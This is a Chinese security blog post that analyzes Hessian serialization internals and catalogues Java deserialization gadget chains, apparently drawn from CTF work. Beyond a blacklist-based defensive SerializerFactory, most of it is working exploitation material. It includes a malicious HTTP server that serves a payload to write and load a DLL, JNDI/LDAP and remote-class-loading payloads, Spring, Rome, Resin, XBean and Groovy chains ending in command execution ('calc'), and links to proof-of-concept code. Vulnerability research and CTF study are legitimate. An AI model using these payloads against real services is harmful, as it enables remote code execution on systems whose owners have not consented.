本文首发于先知社区:
https://xz.aliyun.com/news/91672
前言 本文主要的目标是:
整理hessian1/2的序列化反序列化流程
hessian反序列化漏洞怎么临时修复
收集hessian反序列化中的各种链子;绕过技巧
补充其他hessian相关的知识点
代码见:
https://github.com/1diot9/MyJavaSecStudy/tree/main/hessian
环境 1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.66</version > </dependency >
序列化过程 下面的序列化过程中,序列化工厂都设置为:允许序列化未实现Serializable接口的类
HessianOutput 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void main (String[] args) throws IOException { Person baka = new Person (1 , "baka" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("name" , "baka" ); byte [] bytes = HessianTools.hessianSer2bytes(baka, "1" ); Object o = HessianTools.hessianDeser(bytes, "1" ); } public static byte [] hessianSer2bytes(Object obj, String version) throws IOException { if (version.equals("1" )){ ByteArrayOutputStream baos = new ByteArrayOutputStream (); HessianOutput hessianOutput = new HessianOutput (baos); SerializerFactory serializerFactory = hessianOutput.getSerializerFactory(); serializerFactory.setAllowNonSerializable(true ); hessianOutput.setSerializerFactory(serializerFactory); hessianOutput.writeObject(obj); hessianOutput.close(); return baos.toByteArray(); }else if (version.equals("2" )){ ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (baos); SerializerFactory serializerFactory = hessian2Output.getSerializerFactory(); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(obj); hessian2Output.flush(); return baos.toByteArray(); } return null ; }
com.caucho.hessian.io.HessianOutput#writeObject:
这里判断序列化对象是否为null,不是的话,根据对象所属类,调用_serializerFactory.getSerializer,去获取序列化器。
com.caucho.hessian.io.SerializerFactory#getSerializer:
优先从缓存Map中搜索是否有当前Class对应的序列化器,有的话直接返回。没有的话,调用loadSerializer,根据类型获取对应的序列化器,然后put进缓存Map中,方便下次直接取。
com.caucho.hessian.io.SerializerFactory#loadSerializer:
295行处,_contextFactory.getSerializer(cl.getName()),根据类名称直接获取序列化器,这里能够直接获取的是39个基本类型:
com.caucho.hessian.io.SerializerFactory#loadSerializer:
309行处,尝试获取自定义的序列化器,com.caucho.hessian.io.ContextSerializerFactory#getCustomSerializer:
这里尝试获取XXXXHessianSerializer,说明Hessian也是可以自定义序列化逻辑的。
com.caucho.hessian.io.SerializerFactory#loadSerializer:
很多if,判断是否为指定类型,以此判断是否调用其他内置序列化器。自定义类会走到最后getDefaultSerializer。
com.caucho.hessian.io.SerializerFactory#getDefaultSerializer:
先判断是否设置默认的序列化器,一般是没设置的。然后判断类是否实现Serializable接口,或是设置了_isAllowNonSerializable,这就是为什么一开始序列化时要手动设置工厂,这样能解除序列化限制,从而增加能够利用的类。最终,在默认情况下,会走到392行,create一个UnsafeSerializer。
com.caucho.hessian.io.UnsafeSerializer#create
这里仍然有缓存机制,会根据不同的class,获取不同的UnsafeSerializer。跟进103行的构造方法:
这里调用introspect,这个方法名比较特殊,有一个类叫java.beans.Introspector,专门用于“内省”,即获取JavaBean的公开属性和方法。跟进introspect:
这里会获取所有的类属性。124行处,会判断属性修饰符,如果是transient或者static的,则不会参与序列化流程。这就是为什么说,transient或者static属性在gadget中不能使用,最经典的就是TemplatesImpl里面的_tfactory。
com.caucho.hessian.io.UnsafeSerializer#introspect:
最后获取属性的序列化器。
com.caucho.hessian.io.HessianOutput#writeObject:
序列化器获取完毕,现在开始序列化。
com.caucho.hessian.io.UnsafeSerializer#writeObject
writeObjectBegin写入开头的固定字节 Mt:
这里能够看出,HessianOutput默认将自定义对象当作Map来序列化。同时,com.caucho.hessian.io.AbstractHessianOutput#writeObjectBegin 始终返回-2,这代表使用hessian1进行序列化。
回到writeObject:
ref是-2,所以进入writeObject10:
这里依次写入每个属性的名称和值,最后写入Map结束符。
以上就是HessianOutput序列化自定义对象的过程。
如果写入的是Map对象,过程也差不多,只是会调用MapSerializer,写入的type会变成null:
实际写入的第一个字节为M:
然后对每个键值对也使用writeObject:
HessianOutput2 com.caucho.hessian.io.Hessian2Output#writeObject:
获取序列化器的方法看上去不一样了,但实际调用的是一个方法
com.caucho.hessian.io.SerializerFactory#getObjectSerializer:
这里还是会调用com.caucho.hessian.io.SerializerFactory#getSerializer
com.caucho.hessian.io.UnsafeSerializer#writeObject:
这里writeObjectBegin会不一样:
com.caucho.hessian.io.Hessian2Output#writeObjectBegin
如果这个类名(type)之前发过 ,就只发一个整数编号(引用 ID),省流量。
如果这个类名第一次出现 ,就发一个标记 C 加上完整的类名字符串。
这里自定义类默认情况下会在601行写入第一个字节C,最后返回-1,从而进入hessian2的序列化逻辑:
对比一下,能够发现这里先写入了属性数量和属性名称,没有直接将属性值写入。而是在com.caucho.hessian.io.UnsafeSerializer#writeInstance里面再写入:
其他部分和HessianOutput差不多。
如果写入的Map对象,还是调用MapSerializer,写入的type为null:
实际写入的第一个字节为H:
反序列化过程 com.caucho.hessian.io.HessianInput#readObject():
通过switch的方式进入。因为自定义对象和Map对象默认写入的第一个字节都是M,所以进入M对应的case。
com.caucho.hessian.io.SerializerFactory#readMap:
获取反序列化器,然后根据获取情况进行反序列化。
com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)
还是熟悉的味道,先判断null,然后从缓存取反序列化器,然后从_staticTypeMap,也就是几个基本类型里取,然后判断数组,最后使用默认的getDeserializer:
这里和前面获取序列化器的过程几乎一模一样,只不过这里最终获取的是UnsafeDeserializer,看一下其构造方法:
com.caucho.hessian.io.UnsafeDeserializer#getFieldMap:
这里也几乎一模一样,通过反射获取类的属性,把属性名和对应的反序列化器放到fieldMap里备用。
回到com.caucho.hessian.io.SerializerFactory#readMap:
com.caucho.hessian.io.UnsafeDeserializer#readMap(com.caucho.hessian.io.AbstractHessianInput):
调用instantiate,通过Unsafe直接实例化对象,然后readMap还原各个属性。
com.caucho.hessian.io.UnsafeDeserializer#readMap(com.caucho.hessian.io.AbstractHessianInput, java.lang.Object):
这里也能看出是把自定义对象当作Map来还原的。先取出属性名,然后从filedMap取出对应反序列化器,然后deser.deserialize反序列化值,也是通过Unsafe方法根据偏移量直接还原。同时,这里也是可以重新resolve方法,来执行一些自定义操作。
如果反序列化的是HashMap,稍有不同:
最终进入第三个if。因为序列化写type的时候,写入的是null:
最终调用的反序列化器也是MapDeserializer:
这里最后的map.put,决定了我们利用链的入口。
map.put,如果时HashMap可以触发key.hashCode,key.equals;如果是TreeMap,可以触发compareTo。其他Map也可能有可以利用的,得看map.put能不能继续利用。
也是通过switch来判断类型:
com.caucho.hessian.io.Hessian2Input#readObjectDefinition:
先读取类名,然后读取属性数量,然后开始还原属性,但不设置值。这点和序列化的操作是对应的。
获取反序列化器的过程,和前面序列化的几乎一模一样,这里直接放调用栈,细节可以自行调试:
最后会把还原好的属性通过ObjectDefinition进行包装,并put进_classDefs。至此,类定义部分的反序列化完成,下面开始还原值。
往下跟到com.caucho.hessian.io.UnsafeDeserializer#readObject(com.caucho.hessian.io.AbstractHessianInput, java.lang.Object[]):
这里就跟HessianInput里的过程很类似了。只不过这里变成了readObject,而不是readMap,因为Hessian2里面,自定义对象不再被默认解析为Map类型。
如果反序列化的是HashMap,流程会简化,如下:
这个过程也见过好几次了。最后的利用点也是一样的
序列化/反序列化流程小结 通过上面的分析,我们可以得出hessian反序列化的利用条件。
1、入口点为hashCode,equals,compareTo
2、调用链不能有transient或static修饰的变量,典例就是TemplatesImpl里的_tfactory
下面来看如何修复,以及常见的链子。
临时修复 这里主要通过重写SerializerFactory来添加黑名单过滤,从而阻止不安全的类进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import com.caucho.hessian.io.Deserializer;import com.caucho.hessian.io.HessianProtocolException;import com.caucho.hessian.io.SerializerFactory;import java.util.Arrays;import java.util.List;import java.util.Locale;public class SafeSerializerFactory extends SerializerFactory { private static final List<String> BLACKLIST = Arrays.asList( "org.apache.commons.collections.functors.InvokerTransformer" , "org.apache.commons.collections.functors.InstantiateTransformer" , "org.apache.commons.collections4.functors.InvokerTransformer" , "org.apache.commons.collections4.functors.InstantiateTransformer" , "org.codehaus.groovy.runtime.ConvertedClosure" , "org.codehaus.groovy.runtime.MethodClosure" , "org.springframework.beans.factory.ObjectFactory" , "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "javax.naming.InitialContext" , "javax.script.ScriptEngineManager" , "java.net.URL" , "java.net.InetAddress" , "org.springframework.aop.framework.AdvisedSupport" , "java.util.ServiceLoader" ); @Override public Deserializer getDeserializer (String type) throws HessianProtocolException { if (type != null ) { for (String black : BLACKLIST) { if (type.startsWith(black) || type.contains("TemplatesImpl" )) { throw new HessianProtocolException ("Class " + type + " is blocked for security reasons." ); } } } return super .getDeserializer(type); } } ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); hessian2Input.setSerializerFactory(new SafeSerializerFactory ()); Object o = hessian2Input.readObject(); hessian2Input.close();
利用链总结 这部分对原理进行简要分析,并附上利用代码。
HessianProxyFactory 这个利用手法来自AliyunCTF2026
在高版本JDK中,JNDI的绕过很多时候依靠本地工厂类,即实现ObjectFactory的类。一般来说,是找一个连接池,进而将JNDI转化成JDBC连接,从而实现JDBC攻击。
在Hessian里,也有实现了ObjectFactory的类:com.caucho.hessian.client.HessianProxyFactory。
其getObjectInstance,最终会创造一个动态代理com.caucho.hessian.client.HessianProxy,这个动态代理中,可以设置一个URL。当动态代理执行任意方法时,都会先触发invoke。而invoke中,会主动向先前设置的URL请求hessian序列化数据,并经过一些判断后,调用hessian反序列化,从而触发漏洞。
如图,getObjectInstance最后创建的动态代理:
如图,invoke方法中触发反序列化:
为了利用这个漏洞,有几个条件需要满足:
1、出网
2、通过JNDI lookup到对象后,需要调用对象的任意方法,才能触发invoke
需要自己开一个http,返回序列化数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package com.test.gadget.jndi;import com.caucho.hessian.io.Hessian2Input;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.net.httpserver.HttpServer;import com.test.gadget.HashMap_ProxyLazyValue;import tools.IOTools;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.InetSocketAddress;public class HessianServer implements Runnable { public static void main (String[] args) throws Exception { start(8076 ); } public static void start (int port) throws Exception { HttpServer server = HttpServer.create(new InetSocketAddress ("0.0.0.0" , port), 0 ); server.createContext("/hessian" , new ExploitHandler ()); server.start(); System.out.println("[+] Hessian Exploit Server started on port " + port); } @Override public void run () { try { start(8076 ); } catch (Exception e) { throw new RuntimeException (e); } } static class ExploitHandler implements HttpHandler { @Override public void handle (HttpExchange exchange) throws IOException { System.out.println("\n[*] Received Hessian request from victim!" ); InputStream is = exchange.getRequestBody(); Hessian2Input input = new Hessian2Input (is); try { String method = input.readMethod(); System.out.println(" Method: " + method); int argCount = input.readMethodArgLength(); System.out.println(" Arg count: " + argCount); for (int i = 0 ; i < argCount; i++) { Object arg = input.readObject(); System.out.println(" Arg[" + i + "]: " + arg); } } catch (Exception e) { System.out.println(" (Error reading request: " + e.getMessage() + ")" ); } byte [] bytes = IOTools.readFile("dynamic.dll" ); String filename = "D:/1tmp/111.dll" ; byte [] body = null ; try { body = (byte []) HashMap_ProxyLazyValue.writeAndLoadLib(filename, bytes); } catch (Exception e) { throw new RuntimeException (e); } System.out.println("[+] Sending Hessian payload..." ); byte [] header = "HabF" .getBytes(); byte [] payload = new byte [header.length + body.length]; System.arraycopy(header, 0 , payload, 0 , header.length); System.arraycopy(body, 0 , payload, header.length, body.length); exchange.sendResponseHeaders(200 , payload.length); OutputStream os = exchange.getResponseBody(); os.write(payload); System.out.println("[+] Payload sent!" ); } } }
题目EXP:
https://github.com/1diot9/CTFSolutions/tree/main/idea/2026/AliyunCTF/MHGA
最后,值得一提的是,java-chains也支持生成这种通过JNDI进行利用的hessian payload的生成,只需要打开一个开关即可。
jdk-only 这也是CTF带出来的,记得最早出现在0CTF2022。特点是不需要其他依赖,全部使用jdk内的类。
这里的关键有两个:
1、最终的Sink是什么
2、怎么触发Sink(各种toString触发)
最终Sink SwingLazyValue#createValue sun.swing.SwingLazyValue#createValue:
能够调用任意public static method(因为最后invoke时,传入的是Class,不是具体Object);能够调用任意public constructor
注意:
1、sun.swing.SwingLazyValue在jdk11以后就没了
2、Class.forName时,类加载器为null,默认使用BootStrap ClassLoader,只能加载核心jar包的类,即jre/lib下的类,如rt.jar。所以ext里的jar加载不到,比如nashorn.jar。
还有一点,jvm加载核心jar是懒加载机制,即用到里面的类,才去加载相应jar,这让我想起了spring项目中的charsets.jar利用法。不过这个和本文没关系,只是顺带提一下。
ProxyLazyValue#createValue javax.swing.UIDefaults.ProxyLazyValue:
同上,但在jdk11以后的版本中仍然存在,且用的是AppClassLoader,所以适用性更广。
真·最终Sink 上面只是可以触发任意public static方法或是public构造方法,但具体利用哪些方法还不知道,下面就来盘点一下。
ServerManagerImpl#getActiveServers https://xz.aliyun.com/news/18935
POC:https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/AudioFileFormat2toString.java
最终触发点:
因为是通过Runtime执行的,所以执行有特殊符号的命令时,需要进行编码。
https://github.com/shadow-horse/java.lang.Runtime.exec-Payload
同时,这是一个getter触发点,所以可以配合getter触发,如fastjson或jackson原生反序列化。
前半段使用了AudioFileFormat,后面会讲。
ClassPathXmlApplicationContext# 通过构造方法进行利用的经典案例,需要有spring-context依赖,通过加载xml利用。
恶意xml可以通过java-chains生成:
JavaWrapper#_main POC:https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/toStringBased/PKCS9_BCEL.java
前置条件,jdk<8u251。
通过加载BCEL码利用。
会反射调用自定义恶意类中的_main方法。
BCEL可以通过java-chains生成:
JavaUtils#writeBytesToFilename + System#load POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/HashMap_ProxyLazyValue.java
先写入dll/so文件,然后加载。结合HashMap,能实现一次请求实现写入文件和加载dll/so。
DumpBytecode#dumpBytecode POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/toStringBased/MimeTypeParameterList_ProxyLazyValue_Sysload.java
这是nashorn.jar的类,所以只能在jdk8,且通过ProxyLazyValue。
MethodUtil#invoke POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/toStringBased/HashTableEquals_get.java
sun.reflect.misc.MethodUtil
原本只能调用public static方法,而MethodUtil#invoke将返回扩展到了public方法。
如上图,bounce是个static变量,通过getTrampoline获取:
上图的getTrampolineClass,返回的是sun.reflect.misc.Trampoline,所以最后返回的Method变成 Trampoline#invoke。
于是最终调用到上图的invoke。
TrAXFilter# 这个用不了,因为最终要用TemplatesImpl,hessian无法序列化里面的transit变量。不过还是在这里提一下。
UIDefaults#get触发 分析完上面的Sink,现在的目标是,如何调用到createValue。
这里主要通过toString触发,链路大致为:
xxx#toString–>UIDefaults#get–>SwingLazyVaule/ProxyLazyValue#createValue。
UIDefaults#get怎么触发到createValue比较清晰,所以这里主要找怎么触发get。
注意:UIDefaults是HashTable的子类。
走toString sun.security.pkcs.PKCS9Attributes
attributes可控,且是HashTable。
javax.activation.MimeTypeParameterList
其他 HashTable#equals HashMap#putVal–>HashTable#equals–>UIDefaults#get
toString怎么触发 上面有两种方法需要触发toString,现在来看看怎么样触发toString。
通过expect触发 核心原理是,对象被当作字符串进行拼接,从而隐式调用toString。漏洞代码如下:
调用栈如下:
上面的图显示,当读取type(理应为字符串)失败时,会进入default抛出报错,报错时会反序列化对象,并和字符串进行拼接。
为此,序列化过程需要做一些操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static byte [] hessian2ToStringSer(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); baos.write(67 ); Hessian2Output hessian2Output = new Hessian2Output (baos); SerializerFactory serializerFactory = hessian2Output.getSerializerFactory(); serializerFactory.setAllowNonSerializable(true ); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(obj); hessian2Output.close(); return baos.toByteArray(); }
通过手动写入第一个字节,达到readString时进入default的效果。
XString家族 POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/XStringFSB2toString.java
HashMap#putVal–>AbstractMap#equals–>XString#equals–>xxx#toString
这里选XStringForFSB
原理是两个HashMap作为key,在putVal时进行equals比较。HashMap没有equals,其父类AbstractMap有。通过提取内层HashMap的值,再次进行equals,即val2.equals(val1),这里就是xString.equals(jsonArray),从而调用jsonArray的toString。建议自己调试一遍,会比较清楚。
POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/AudioFileFormat2toString.java
跟XString差不多,这次是Type#equals触发:
ConcurrentHashMap POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/ConcurrentHashMap2equals.java
看一下调用栈:
这里其实和HashMap差不多,可以当作HashMap被禁用时的平替。
出网JNDI打法 Spring PartiallyComparableAdvisorHolder POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/SpringBased.java advisorHolder()
需要有spring-aop,spring-context依赖。
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.springframework.jndi.JndiTemplate.lambda$lookup$0(JndiTemplate.java:157) at org.springframework.jndi.JndiTemplate$$Lambda$1.1059063940.doInContext(Unknown Source:-1) at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:92) at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:157) at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179) at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:96) at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetType(SimpleJndiBeanFactory.java:285) at org.springframework.jndi.support.SimpleJndiBeanFactory.getType(SimpleJndiBeanFactory.java:245) at org.springframework.jndi.support.SimpleJndiBeanFactory.getType(SimpleJndiBeanFactory.java:238) at org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory.getOrder(BeanFactoryAspectInstanceFactory.java:136) at org.springframework.aop.aspectj.AbstractAspectJAdvice.getOrder(AbstractAspectJAdvice.java:223) at org.springframework.aop.aspectj.AspectJPointcutAdvisor.getOrder(AspectJPointcutAdvisor.java:66) at org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString(AspectJAwareAdvisorAutoProxyCreator.java:147) at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392) at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103) at java.util.HashMap.putVal(HashMap.java:634) at java.util.HashMap.put(HashMap.java:611) at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114) at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577) at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093) at tools.HessianTools.hessianDeser(HessianTools.java:69) at com.test.gadget.SpringBased.main(SpringBased.java:24)
Spring AbstractBeanFactoryPointcutAdvisor POC:https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/SpringBased.java pointcutAdvisor()
需要spring-aop,spring-context依赖。
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:92) at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetSingleton(SimpleJndiBeanFactory.java:271) at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:116) at org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor.getAdvice(AbstractBeanFactoryPointcutAdvisor.java:116) at org.springframework.aop.support.AbstractPointcutAdvisor.equals(AbstractPointcutAdvisor.java:76) at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103) at java.util.HashMap.putVal(HashMap.java:634) at java.util.HashMap.put(HashMap.java:611) at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114) at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577) at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093) at tools.HessianTools.hessianDeser(HessianTools.java:69) at com.test.gadget.SpringBased.main(SpringBased.java:24)
这两条Spring的链子,最关键的类是SimpleJndiBeanFactory。这个类是最终触发lookup的。所以找链子时,可以把这个类的,能够触发lookup的方法当作sink,把equals当作source,然后通过tabby等静态分析工具进行利用链搜索。
能够调用lookup的几个方法:
Rome链 POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/RomeBased.java
1 2 3 4 5 <dependency > <groupId > rome</groupId > <artifactId > rome</artifactId > <version > 1.0</version > </dependency >
通过ToStringBean触发getter方法,来进行后续利用。一般接JdbcRowSetImpl打JNDI或者SignedObject二次反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static void rome2Jndi (String version) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/eae633" ); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = ReflectTools.makeMap(equalsBean, "any" ); byte [] bytes = HessianTools.hessianSer2bytes(hashMap, version); HessianTools.hessianDeser(bytes, version); } public static void rome2SignedObj (String version) throws Exception { Templates templates = TemplatesGen.getTemplates1(null , "D:/1tmp/classes/CalcAbs.class" ); ToStringBean toStringBean = new ToStringBean (Templates.class, templates); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = ReflectTools.makeMap(equalsBean, "any" ); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (hashMap, privateKey, signingEngine); ToStringBean toStringBean2 = new ToStringBean (SignedObject.class, signedObject); EqualsBean equalsBean2 = new EqualsBean (ToStringBean.class, toStringBean2); Map<Object, Object> hashMap2 = ReflectTools.makeMap(equalsBean2, "any" ); byte [] bytes = HessianTools.hessianSer2bytes(hashMap2, version); HessianTools.hessianDeser(bytes, version); }
Resin链 POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/ResinGadget.java
1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > resin</artifactId > <version > 4.0.63</version > </dependency >
限制比较大,只能rmi加载远程工厂类,所以只能打jdk<8u121的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 public static Object getObject () throws Exception { String refAddr = "http://127.0.0.1:8000/" ; String refClassName = "Calc" ; Reference ref = new Reference (refClassName, refClassName, refAddr); Object cannotProceedException = Class.forName("javax.naming.CannotProceedException" ).getDeclaredConstructor().newInstance(); ReflectTools.setFieldValue(cannotProceedException, "resolvedObj" , ref); Class<?> contiC = Class.forName("javax.naming.spi.ContinuationContext" ); Context continuationContext = (Context) UnsafeTools.getObjectByUnsafe(contiC); ReflectTools.setFieldValue(continuationContext, "cpe" , cannotProceedException); ReflectTools.setFieldValue(continuationContext, "env" , new Hashtable ()); QName qName = new QName (continuationContext, "aaa" , "bbb" ); String str = unhash(qName.hashCode()); XString xString = new XString (str); HashMap<Object, Object> finalMap = ReflectTools.makeMap(qName, xString); return finalMap; } public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder (); if ( target < 0 ) { answer.append("\u0915\u0009\u001e\u000c\u0002" ); if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; } unhash0(answer, target); return answer.toString(); } private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31 ; int rem = target % 31 ; if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char ) div); partial.append((char ) rem); } else { unhash0(partial, div); partial.append((char ) rem); } }
不过这里如何实现hash碰撞的方法值得学习,通过阅读XString的hashCode方法,从而得到unhash方法,进而确保putVal时,一定触发equals。
XBean链 1 2 3 4 5 <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-naming</artifactId > <version > 4.24</version > </dependency >
POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/XBeanGadget.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static Object getPayload () throws Exception { String refAddr = "http://127.0.0.1:8000/" ; String refClassName = "Calc" ; Reference ref = new Reference (refClassName, refClassName, refAddr); WritableContext writableContext = new WritableContext (); String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding" ; Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class) .newInstance("aaa" , ref, writableContext); XString xString = new XString ("any" ); HashMap<Object, Object> finalMap = ReflectTools.makeEqualMap(xString, readOnlyBinding); return finalMap; }
跟Resin链一样,限制比较大。
Groovy 1 2 3 4 5 <dependency > <groupId > org.codehaus.groovy</groupId > <artifactId > groovy-all</artifactId > <version > 2.4.3</version > </dependency >
GString链 hessian利用 https://xz.aliyun.com/news/90904
比较新的链子,最后通过Runtime执行。
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 at java.lang.Runtime.exec(Runtime.java:347 ) at org.codehaus.groovy.runtime.ProcessGroovyMethods.execute(ProcessGroovyMethods.java:530 ) at org.codehaus.groovy.runtime.dgm$894. doMethodInvoke(Unknown Source:-1 ) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1207 ) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1074 ) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1016 ) at groovy.lang.Closure.call(Closure.java:423 ) at groovy.lang.Closure.call(Closure.java:417 ) at groovy.lang.GString.writeTo(GString.java:173 ) at groovy.lang.GString.toString(GString.java:153 ) at groovy.lang.GString.hashCode(GString.java:218 ) at java.util.HashMap.hash(HashMap.java:338 ) at java.util.HashMap.put(HashMap.java:611 ) at com.test.gadget.GroovyBased.gString(GroovyBased.java:28 ) at com.test.gadget.GroovyBased.main(GroovyBased.java:13 )
如上图,最后要进入c.call调用方法,所以前面要满足:getStrings有返回;values里面要是Closure及其子类;maximumNumberOfParameters的值是0
call最终调用到:
因此找一个Closure的子类,且实现doCall,且方法和参数可控的类就行。
这里用MethodClosure:
由于Groovy为字符串提供了命令执行的特性,提供了一个execute()函数,可以直接对字符串进行命令执行,类似于"whoami".execute()。
另外,值得一提的是,通过groovy.lang.GString#writeTo去调用call,是没办法传参的,因为args默认为空Object[0]:
有没有能够传参的call调用呢?有的,下面的ContinuationDirContext链会讲。
最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Object gString () throws IllegalAccessException { MethodClosure methodClosure = new MethodClosure ("calc" , "execute" ); ReflectTools.setFieldValue(methodClosure, "maximumNumberOfParameters" , 0 ); String[] strings = {"any" }; Object[] values = {methodClosure}; GStringImpl gString = new GStringImpl (values, strings); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(gString, "any" ); return hashMap; }
因为涉及到groovy相关的知识,暂时看不懂很正常,先明白怎么利用就好。
当然,这里也可以调用其他方法,只要更改MethodClosure的构造方法即可。owner参数为对象,method参数为对象中的方法。由此可以触发二次反序列化,比如SignedObject#getObject,hutool.MapProxy#getBounds。还有其他的无参方法,比如JdbcRowSetImpl#getDatabaseMetaData触发JNDI。
java-chains可生成。
原生反序列化利用 从调用栈可知,只要触发GString#hashCode,GString#toString,Closure#call其中一个即可。
下面给出另外三种原生反序列化链。
1 2 3 4 <javax.management.BadAttributeValueExpException: void readObject (java.io.ObjectInputStream) > -> <groovy.lang.GString: java.lang.String toString () > -> <groovy.lang.GString: java.io.Writer writeTo (java.io.Writer) > -> <groovy.lang.Closure: java.lang.Object call (java.lang.Object) >
下面这个适用于常规的反序列化入口被禁用的情况:
不过我对这条链子有些怀疑
